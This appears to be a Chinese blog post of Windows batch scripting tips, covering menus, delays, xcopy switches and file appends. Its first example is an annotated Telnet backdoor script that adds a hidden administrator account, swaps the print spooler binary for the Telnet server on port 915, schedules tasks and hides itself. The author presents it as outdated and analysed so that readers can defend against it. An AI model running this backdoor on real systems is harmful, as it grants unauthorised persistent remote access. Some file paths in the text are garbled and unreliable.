您的位置：首页 > 其它

Dos脚本技巧（补充内容）

2017-12-31 15:13 225 查看

Dos脚本技巧（补充内容）

内容索引
DOS系列已发布文章请看前一篇文章(个人总结脑图汇总), 里有所有文章的索引目录.

两个批处理实例

实例一: Telnet后门(网络上搜的, 没啥用了, 只作批处理分析)
声明: 该脚本是个老掉牙的过时了的脚本, 自己作作实验还是可以, 不适合真刀真枪的玩儿.
::---------批处理开始------------
@echo off
net user testuser$ 123456 /add
::这里的testuser$加了个$符号, 起到的是命令窗口net user 结果中隐藏用户, 但在lusrmgr.msc管理器中testuser$是隐藏不了滴.

插个图说明一下, 希望不太影响大家的阅读
::当然还是有方法可做到彻底隐藏, 这些又涉及到注册表了, 后面小编会给出高人指点很详细的方法.
::知道了别人怎么攻的, 大家就知道怎么防了
net localgroup administrators testuser$ /add
::将创建的用户testuser$升级为管理员(加入到管理员组)
sc stop spooler
:: 停止打印池服务
sc stop tlntsvr
::停止 telnet 服务
copy %systemroot%system32 lntsvr.exe %systemroot%system32dllcachespoolsv.exe /y
::将系统目录中的telnet服务程序复制到dllcache文件夹下, 并重命名为spoolsv.exe 打印池服务程序名
copy %systemroot%system32 lntsvr.exe %systemroot%system32spoolsv.exe /y
::复制并重命名覆盖同目录下的打印池服务程序(因为这个打印池服务程序默认是开机启动的, 而telnet服务默认大多是禁用的)
sc config spooler binpath= %systemroot%system32spoolsv.exe start= auto
::修改打印服务的绑定程序的路径配置, 并设置为自动(即开机启动)
sc start spooler ::启动打印服务(其实启动的是telnet的服务)
tlntadmn config sec = -ntlm + passwd
::这里的 tlntadmn 是telnet服务相关配置命令, 建议想玩的朋友自己百度
::这里配置是去除ntlm验证机制,使用密码验证
tlntadmn config port = 915
::配置远程访问端口
sc config schedule start= auto
::把计划任务这个服务配置为自动
sc starts chedule
::启动计划任务服务
at 23:05 "%ProgramFiles%Internet Explorertelnet.bat">"%ProgramFiles%Internet Explorerlog.txt"
::定时执行telnet.bat脚本, 执行结果写入到指定的文件中
at 11:05 "%ProgramFiles%Internet Explorertelnet.bat">>"%ProgramFiles%Internet Explorerlog.txt"
::同上一命令行功能相同, 也是定时执行, 主要是防止上一次执行失败
attrib +s +h +r %0 & exit
::将该脚本的属性配置为, h隐藏 / r只读的 / s系统文件属性
::-------------批处理结束----------
当然对用户隐藏和反隐藏有高人讲的很细了, 贴个链接, 供大家闲来无事时折腾. https://www.cnblogs.com/lunachy/p/4602228.html 有关上脚本中的 tlntadmn 命令的相关文章, 小编也采集了一篇文章 https://wenku.baidu.com/view/eea1481c6bd97f192279e9aa.html 小编本人不知道大家能不能接受这种脚本解析方式, 如果用小屏手机来看, 感觉可能糟糕点儿, 心乱的朋友请跳过.
实例二: 安全小工具
::--------------批处理开始-------------
@echo off
:menu
::这个:menu 是goto的跳转标签, 略懂脚本或编程的朋友晓得, 小编建议有兴趣的比着敲一下
color 2
:: color 命令设置当前CMD窗口的前景和背景色
title 安全小工具
:: title命令设置CMD窗口的标题
set number=
set pid=
set task=
:: 上面 number, pid, task 是创建的三个变量并初始化为空
setlocal enabledelayedexpansion
:: 开启变量延迟扩展功能
cls ::清屏
echo. ::输出空行
echo a、结束指定的进程
echo b、禁止指定程序运行
echo c、查询指定端口连接
echo.
set /p number=请输入你的选择：
:: set /p 是用于与用户交互, 等待用户输入
if /i "%number%"=="a" ( ::如果用户选择了a 选项
tasklist
:: 打印进程列表tasklist
echo.
set /p pid=输入要结束进程的PID值：
::输入用户想结束的进程 PID 值
taskkill /PID !pid!
:: 命令taskkill /pid 就是通过PID值结束进程, !pid! 两边的感叹号就是开启延迟变量扩展功能后, 必须使用的符号
pause >nul
goto menu
) :: IF判断语句的结束括号
if /i"%number%"=="b" (
echo.
set /p task=输入进程名：
::通过进程的名称来结束进程
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File ExecutionOptions!task!" /v Debugger /t reg_sz /d c: est.exe
pause >nul
goto again
)
if /i"%number%"=="c" (
echo.
set /p port=请输入要查询的端口：
echo.
netstat -an |findstr "!port!"
pause >nul
goto again
)
if not"%number%"=="" ( ::用户没有输入时
echo.
echo 没有此选项！
pause >nul
goto again
)
::-------------------批处理结束-----------------

实例运行效果

常用技巧

1、*.*的简写
*.*可以用．代替，例如，删除当前目录中的全部文件(可没说包含删除子文件夹的事儿)∶
DEL .

创建个测试的环境出来

执行 Del . 命令操作

执行 del . 命令后
2、分屏显示文件内容
方法一∶MORE<filename
方法二∶TYPE filename|more
注意: 分屏显示时, 回车键和空格键的作用不同, 回车键一次滚动一行, 空格键一次滚动一屏

使用more加重定向符号分屏显示文本内容

使用 type 和管道符分屏显示文本内容
3、向文本文件中追加数据
方法一: copy filename1 + filename2 将filename2的内容追加到filename文件内容尾部

使用+号将后面文件的内容追加到前面的文件中

追加文本后的效果
方法二: type filename1 >> filename2 将filename1内容追加到filename2内容的尾部

使用重定向符将前文件内容追加到后面的文件中

追加文本后的效果
方法三∶COPY filename＋CON 在 filename文件的尾部, 手动追加内容, 输入完毕后按F6或

+ CON 的操作

追加的内容展示
方法四∶TYPE CON>>filename 功能同方法三

type con 的方式追加内容

type con 追加内容展示
4、零字节文件的生成
方法∶TYPE NUL>filename

没有数据恢复技术小编也没验证过
此方法主要用于处理需保密的磁盘文件，起到删除文件内容的作用，内容被删除后一般不可恢复(覆盖式删除大法)
5、使用TYPE命令"拷贝"文件
拷贝文件通常使用COPY命令或XCOPY命令，其实，TYPE也有"拷贝"文件的用途∶
TYPE filenamel>filename2 (前面测试过了, 不赘述了)

聊一下XCOPY 这个命令与COPY的区别是, 前者是文件夹或文件复制, 后者只是文件复制, XP默认没有XCOPY这个命令, 可能有的GHOST版本中有, 小编不确定, 大家可以试, 不过WIN7中肯定是有的.

xcopy帮助
小编就顺便演示几个常用的:
环境:

演示环境说明

包含的几个只读属性的文件

实验环境的目录结构
(1) 默认复制操作

xcopy默认复制操作

关闭确认提示
(2)复制目录及其子目录(不包含空目录)
/S 复制目录和子目录，不包括空目录

不包含空目录的复制
(3)复制目录及其子目录(包含空目录)
/E 复制目录和子目录，包括空目录

包含空目录的复制
(4)复制指定日期及其以后的创建或修改的文件
/D:m-d-y 复制在指定日期或指定日期以后更改的文件

复制指定日期及其以后更改的文件
(5)只想复制目录的结构, 而不想复制文件,使用 /t 参数
/T 创建目录结构，但不复制文件。不包括空目录或子目录。/T /E 包括空目录和子目录。

只复制目录结构
总结: 小编常用的xcopy的功能, 基本上就上面5个, 不管你复制使用了什么特殊参数, 可以看到, 都不包含test123文件夹本身.
6、列举当天创建的文件目录
想查看当天(如2017年12月19日)建立了多少文件，可用如下指令∶
dir | find"2017-12-19"

按文件的创建日期查找文件
7、以小写方式显示文件或目录
DIR /L

DIR /L参数的应用
8、pushd & popd用法(在入侵中经常用到)
栈: 形象的比喻就是一端封闭的装羽毛球的筒子, 先装进去的羽毛球肯定是最后才能取出来, 装的过程就是Pushd(压栈), 取的过程叫 popd(出栈),
大家在应用不想的太复杂了, 简单的想就是装和取的过程

pushd popd 这两个命令, 学过数据结构的很容易明白
9、请按回车键继续
@echo off
set /p test=请按回车键继续：
以上就是一个等待输入的提示, 回车就表示输入完毕了, 跟pause是有区别的哦.
10、使ECHO命令显示空行
ECHO命令后直接跟空格字符时，ECHO将显示当前的信息回显状态(ON或OFF)，而不直接向屏幕回显空行。其实，下面一些非常简单的命令格式都能使ECHO命令显示空行∶

打印空行的方法
11. 批处理时间延迟
样例1：
@echo off
echo 延迟前...
ping /n 2 127.0.0.1>nul
echo 延迟后...
pause>nul
说明: 就是使用 ping 命令 ping 本地 IP 产生的时间差当作延迟
##########
样例2：
@echo off
echo 延迟前....
for /l %%a in (1,1,10000) do echo %%a>nul
echo 延迟后....
pause>nul
说明: 这个吧, 就是让电脑数数, 从1数到10000, 这期间的时间差就算作延迟了.
12. 批处理模拟的进度条
@echo off
mode con cols=80 lines=15 && color 9f
cls
echo.
echo 程序正在初始化. . .
echo.
echo ┌───────────────────────────────┐
for /L %%i in (1,1,20) do set /p a=■<nul & ping /n 2 127.0.0.1>nul
echo 100%
echo └───────────────────────────────┘
pause.

模拟进度条
13. 批处理模拟菜单
@echo off
cls
title 批处理模拟菜单实例
:menu
cls
color 0A
echo.
::如前提到的, echo后面紧跟个英文点符号就输出一个空行
echo ==============================
echo 请选择要进行的操作，然后按回车
echo ==============================
echo.
echo 1. 菜单1
echo.
echo 2. 菜单2
echo.
echo 3. 菜单3
echo.
echo 4. 菜单4
echo.
echo Q. 退出
echo.
echo.
set choice=
::创建一个变量choice并初始为空值, 因为循环跳转要保证其接收的都用户的最新输入值
set /pchoice= 请选择:
::与用户进行交互, 提示用户输入
IF NOT "%choice%"=="" SET choice=%choice:~0,1%
::如果用户输入的内容不为空, 则取用户输入内容中从0开始数第1个字符(考虑到用户输入过多)
if /i "%choice%"=="1" goto flag1
if /i "%choice%"=="2" goto flag2
if /i "%choice%"=="3" goto flag3
if /i "%choice%"=="4" goto flag4
if /i "%choice%"=="Q" goto endd
echo 选择无效，请重新输入
echo.
goto menu
::这五个IF语句就是对各个用户指定的各个选项进行判断执行相关操作
::除了1, 2, 3, 4, Q 之外都是无效输入
:flag1
功能代码
处理完成返回到 menu
goto menu
:flag2
功能代码
处理完成返回到 menu
goto menu
:flag3
功能代码
处理完成返回到 menu
goto menu
:flag4
功能代码
处理完成返回到 menu
goto menu
:endd
exit
::exit命令就是退出脚本了